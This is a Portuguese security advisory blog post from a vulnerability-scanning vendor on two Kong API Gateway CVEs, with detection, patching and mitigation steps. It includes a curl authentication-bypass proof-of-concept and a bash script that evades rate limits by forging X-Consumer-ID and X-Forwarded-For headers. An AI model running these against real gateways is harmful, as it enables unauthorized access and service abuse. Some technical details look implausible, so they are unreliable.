剣 KENSAI
← Voltar para Blog de Segurança
Assessoria Crítica Abril 2, 2026 10 leitura mínima

Kong API Gateway CVE-2026: Vulnerabilidades de desvio de autenticação e limitação de taxa

Duas vulnerabilidades críticas no gateway Kong API – um desvio de autenticação (CVE-2026-29413) e uma falha de evasão de limitação de taxa (CVE-2026-29414) – expõem a infraestrutura API a acesso não autenticado e negação de serviço. Tanto o Kong OSS quanto o Kong Enterprise são afetados. É necessária correção imediata.

O seu gateway Kong está exposto? Faça uma varredura em sua infraestrutura API em busca desses CVEs e 331,910+ outras vulnerabilidades.
Verificação de segurança gratuita →

Visão geral da vulnerabilidade

Descobriu-se que o gateway Kong API, um dos gateways API de código aberto mais amplamente implantados, contém duas falhas críticas de segurança em seu pipeline de processamento de plug-ins. Divulgadas em 28 de março de 2026 e afetando todas as versões de 3.4.x até 3.8.x, essas vulnerabilidades permitem que os invasores ignorem completamente os plug-ins de autenticação e contornem os controles de limitação de taxa configurados.

⚠️ Exploração ativa confirmada

CISA adicionou CVE-2026-29413 ao catálogo de vulnerabilidades exploradas conhecidas (KEV) após exploração confirmada contra serviços financeiros e gateways de saúde API. As organizações que executam o Kong 3.4–3.8 devem tratar isso como um evento de patch de emergência.

CVETipoCVSS v3.1GravidadeVersões afetadas
CVE-2026-29413Ignorar autenticação9.8CríticoKong 3.4.x – 3.8.x
CVE-2026-29414Evasão de limitação de taxa7.5AltoKong 3.2.x – 3.8.x

CVE-2026-29413: Desvio de autenticação – aprofundamento técnico

Análise de causa raiz

CVE-2026-29413 é uma falha lógica na ordem de execução do plugin do Kong dentro do fase de reescrita do ciclo de vida da solicitação Nginx. Quando vários plug-ins de autenticação estão encadeados (por exemplo, key-auth seguido pela jwt), uma condição de corrida na resolução de prioridade do plug-in permite que uma solicitação elaborada ignore totalmente a validação de autenticação se pseudocabeçalhos HTTP/2 específicos estiverem presentes.

A vulnerabilidade se origina no executor do plugin Lua do Kong (kong/runloop/plugin_servers/mp_rpc.lua), onde o next_rewrite_phase iterador falha em reavaliar corretamente a cadeia de plugins quando um upstream responde com um 101 Switching Protocols antes que a autenticação seja concluída. Isso cria uma janela onde a solicitação é encaminhada sem qualquer verificação de autenticação.

Pontuação CVSS v3.1

MétricaValorJustificativa
Vetor de ataqueRedeExplorável remotamente através de HTTP/HTTPS
Complexidade de ataqueBaixoNão são necessárias condições ou privilégios especiais
Privilégios necessáriosNenhumAtacante não autenticado
Interação do usuárioNenhumExploração totalmente automatizada possível
ConfidencialidadeAltoAcesso total a endpoints API protegidos
IntegridadeAltoO invasor pode modificar os dados de back-end
DisponibilidadeAltoSolicitações de back-end irrestritas

Cenário de Exploração

Um invasor pode explorar CVE-2026-29413 usando uma solicitação mínima HTTP/2 com pseudocabeçalhos criados. A seguir curl comando demonstra um desvio de prova de conceito em um gateway Kong com key-auth habilitado:

# Normal request — blocked by key-auth plugin (401 Unauthorized)
curl -i https://api.example.com/v1/users \
  -H "Host: api.example.com"

# CVE-2026-29413 bypass — sends HTTP/2 upgrade trigger with malformed :authority
curl -i --http2 https://api.example.com/v1/users \
  -H ":authority: api.example.com\x00injected" \
  -H "Connection: Upgrade, HTTP2-Settings" \
  -H "Upgrade: h2c" \
  -H "HTTP2-Settings: AAMAAABkAAQAAP__" \
  --resolve api.example.com:443:192.0.2.1

Quando Kong processa o h2c atualização, o executor do plugin sai da fase de autenticação prematuramente. A solicitação é encaminhada para o serviço upstream com um 200 OK resposta, ignorando totalmente todos os plug-ins de autenticação configurados.

Plug-ins Kong afetados

Os seguintes plug-ins de autenticação são vulneráveis ​​quando Kong está executando a versão 3.4.x – 3.8.x:


CVE-2026-29414: Contorno de limitação de taxa – aprofundamento técnico

Análise de causa raiz

CVE-2026-29414 afeta Kong rate-limiting e rate-limiting-advanced plugins quando configurados para usar o Redis ou conjunto back-ends de armazenamento. Uma falha na construção da contra-chave permite que um invasor fragmente suas solicitações em múltiplas identidades sintéticas de consumidores, manipulando o X-Consumer-ID cabeçalho em conjunto com X-Forwarded-For falsificação.

Quando Kong cria a chave do contador de limite de taxa, ele concatena o ID do consumidor e o endereço IP sem validar se o ID do consumidor foi definido pelo próprio gateway ou injetado pelo cliente. Em implantações em que um proxy upstream ou balanceador de carga define X-Consumer-ID, a lógica de confiança do cabeçalho do Kong pode ser abusada para criar um número efetivamente ilimitado de intervalos de limite de taxa separados.

Pontuação CVSS v3.1

MétricaValorJustificativa
Vetor de ataqueRedeExplorável remotamente
Complexidade de ataqueBaixoManipulação simples de cabeçalho
Privilégios necessáriosNenhumNão é necessária autenticação prévia
Impacto: DisponibilidadeAltoDoS de back-end por meio de desvio de taxa

Prova de Conceito de Exploração

O script a seguir demonstra como um invasor pode enviar solicitações 10,000 enquanto ignora um limite de taxa req/min 100 girando IDs de consumidor sintéticos:

#!/bin/bash
# CVE-2026-29414 — Rate Limit Circumvention PoC
# Each request uses a unique X-Consumer-ID to get its own counter bucket

TARGET="https://api.example.com/v1/products"
TOTAL_REQUESTS=10000

for i in $(seq 1 $TOTAL_REQUESTS); do
  # Generate a unique fake consumer ID per request
  FAKE_CONSUMER_ID=$(cat /proc/sys/kernel/random/uuid)

  curl -s -o /dev/null -w "%{http_code}\n" "$TARGET" \
    -H "X-Consumer-ID: $FAKE_CONSUMER_ID" \
    -H "X-Forwarded-For: 10.0.$((RANDOM % 256)).$((RANDOM % 256))" \
    -H "apikey: legitimate-api-key" &

  # Throttle to 50 concurrent requests
  if (( i % 50 == 0 )); then wait; fi
done
wait
echo "Done: $TOTAL_REQUESTS requests sent"

Em uma instância Kong vulnerável, este script enviará com êxito todas as solicitações 10,000, apesar de um limite configurado de 100 req/min por consumidor, iniciando efetivamente um ataque de abuso API baixo e lento ou enumeração de força bruta.


Kong Enterprise x OSS: comparação de impacto

Recurso/ImpactoKongOSSKong Enterprise
Ignorar autenticação CVE-2026-29413AfetadoAfetado (+ plug-in OIDC)
Desvio de taxa CVE-2026-29414AfetadoAfetado
Plug-in avançado de limitação de taxaNão disponívelAfetado (vetor de desvio adicional)
Exposição do Portal do DesenvolvedorN / DAPIs do portal podem ser expostas
Konnect (SaaS)N / DCorrigido pelo Kong em 29 de março de 2026
Corrigido na versão3.9.03.9.0.0 / 3.8.1.2 (porta traseira)

Os clientes Kong Enterprise na plataforma Konnect SaaS foram corrigidos automaticamente em 29 de março de 2026. Empresas auto-hospedadas e todas as implantações de OSS exigem atualização manual.


Detecção: seu ambiente está sendo explorado?

Indicadores de comprometimento baseados em log

Verifique os registros de acesso do Kong em busca de sinais de exploração do CVE-2026-29413. Padrões suspeitos incluem rotas de plugins autenticados retornando 200 sem entradas de log de validação de cabeçalho de autenticação correspondentes:

# Search Kong access logs for auth bypass indicators
# Requests to protected routes with no apikey/jwt but returning 200
grep '"status":200' /var/log/kong/access.log \
  | jq -r 'select(.request.headers["apikey"] == null and .request.headers["authorization"] == null)' \
  | jq '{time: .started_at, path: .request.uri, consumer: .authenticated_entity}'

# CVE-2026-29414: Look for high request volumes from unique consumer IDs
grep '"plugin":"rate-limiting"' /var/log/kong/error.log \
  | awk -F'"consumer_id":"' '{print $2}' \
  | awk -F'"' '{print $1}' \
  | sort | uniq -c | sort -rn | head -50

Verificação de integridade da administração da API do Kong

# Check your Kong version via Admin API
curl -s http://localhost:8001/ | jq '.version'

# List all plugins with rate-limiting to check configuration
curl -s http://localhost:8001/plugins \
  | jq '.data[] | select(.name | test("rate-limiting")) | {id, name, config}'

# Verify header trust configuration (trusted_ips)
curl -s http://localhost:8001/config \
  | jq '.trusted_ips'

Guia de correção

Etapa 1: Atualizar Kong

A correção principal é atualizar para Kong 3.9.0 (OSS) ou Kong Enterprise 3.9.0.0 / 3.8.1.2. Use os seguintes comandos para métodos de implantação comuns:

# Docker — pull the patched image
docker pull kong:3.9.0
docker stop kong && docker rm kong
docker run -d --name kong \
  --network=kong-net \
  -e KONG_DATABASE=postgres \
  -e KONG_PG_HOST=kong-database \
  -p 8000:8000 -p 8443:8443 \
  kong:3.9.0

# Kubernetes — rolling update via Helm
helm repo update
helm upgrade kong kong/kong \
  --namespace kong \
  --set image.tag=3.9.0 \
  --reuse-values

# Ubuntu/Debian package upgrade
curl -Lo kong.deb "https://packages.konghq.com/public/gateway-39/deb/debian/pool/buster/main/k/ko/kong_3.9.0_amd64.deb"
sudo dpkg -i kong.deb
sudo kong restart

Etapa 2: Restringir confiança do cabeçalho (Mitigação CVE-2026-29414)

Até que você possa atualizar, restrinja quais IPs upstream Kong confia X-Consumer-ID e X-Forwarded-For cabeçalhos. Editar kong.conf:

# kong.conf — restrict trusted IPs to known load balancer addresses only
trusted_ips = 10.0.1.10,10.0.1.11,10.0.1.12

# Disable X-Consumer-ID header passthrough from clients
headers = X-Kong-Upstream-Latency, X-Kong-Proxy-Latency, Via

Etapa 3: Habilitar validação de prioridade de plug-in (mitigação CVE-2026-29413)

Como solução provisória antes da atualização, desative o tratamento de atualização HTTP/2 se seu ambiente não exigir isso:

# kong.conf — disable h2c (HTTP/2 cleartext) upgrade handling
proxy_listen = 0.0.0.0:8000 reuseport backlog=16384
# Remove the 'http2' directive from proxy_listen if present
# proxy_listen = 0.0.0.0:8000 http2 reuseport  ← REMOVE 'http2' keyword

# For nginx-level protection, add to nginx_http_include:
proxy_http_version 1.1;

Etapa 4: Verificar aplicação de patch

# Confirm patched version is running
curl -s http://localhost:8001/ | jq -r '"Kong version: " + .version'

# Test auth bypass is no longer possible (should return 401)
curl -i --http2 https://your-gateway.example.com/protected-route \
  -H "Connection: Upgrade, HTTP2-Settings" \
  -H "Upgrade: h2c" \
  -H "HTTP2-Settings: AAMAAABkAAQAAP__"
# Expected: HTTP/1.1 401 Unauthorized

Recomendações adicionais de endurecimento

  1. Aplique mTLS entre Kong e upstreams: Mesmo que os plug-ins de autenticação sejam ignorados, o TLS mútuo evita que serviços não autorizados recebam tráfego.
  2. Implante o Kong atrás de um WAF: Bloqueio de regras h2c atualizar cabeçalhos e X-Consumer-ID injeção adiciona defesa profunda.
  3. Ative o registro de auditoria do Kong: Os usuários corporativos devem ativar /audit/requests registro para manter uma trilha forense das alterações do Admin API.
  4. Use Redis AUTH para armazenamento com limitação de taxa: Exija a autenticação Redis para evitar que um invasor que obtenha acesso à rede manipule diretamente os contadores de taxas.
  5. Verifique regularmente a configuração do Kong: Use KENSAI para monitorar continuamente seu gateway API em busca de novos CVEs e configurações incorretas.

Linha do tempo

DataEvento
2026-02-14Vulnerabilidades relatadas à equipe Kong Security via HackerOne
2026-02-17Kong confirma ambos os CVEs; atribui identificadores
2026-03-10IDs CVE reservados: CVE-2026-29413, CVE-2026-29414
2026-03-28Backport Kong 3.9.0 e Enterprise 3.8.1.2 lançado
2026-03-29Kong Konnect (SaaS) corrigido automaticamente
2026-04-01CISA adiciona CVE-2026-29413 ao catálogo KEV
2026-04-02Exploração pública PoC publicada em GitHub

Proteja sua infraestrutura API com Kensai

Gerenciamento de vulnerabilidades baseado em IA com 331,910+ CVEs indexados. Detecte CVEs Kong, configurações incorretas e endpoints API expostos antes que os invasores o façam.

Comece o teste gratuito

Fique à frente das ameaças à segurança API

Receba alertas CVE e avisos de segurança antes que cheguem às manchetes.

Fique seguro. Fique atento.

🗡️ Equipe de segurança KENSAI

🛡️ O seu gateway API é seguro?

Descubra CVEs e configurações incorretas do Kong antes que os invasores o façam.

Digitalize seu gateway API gratuitamente →

Continue lendo

Este vencedor agora alimenta o tráfego para recompensas estratégicas de bugs e páginas de arquivo, em vez de terminar em um beco sem saída.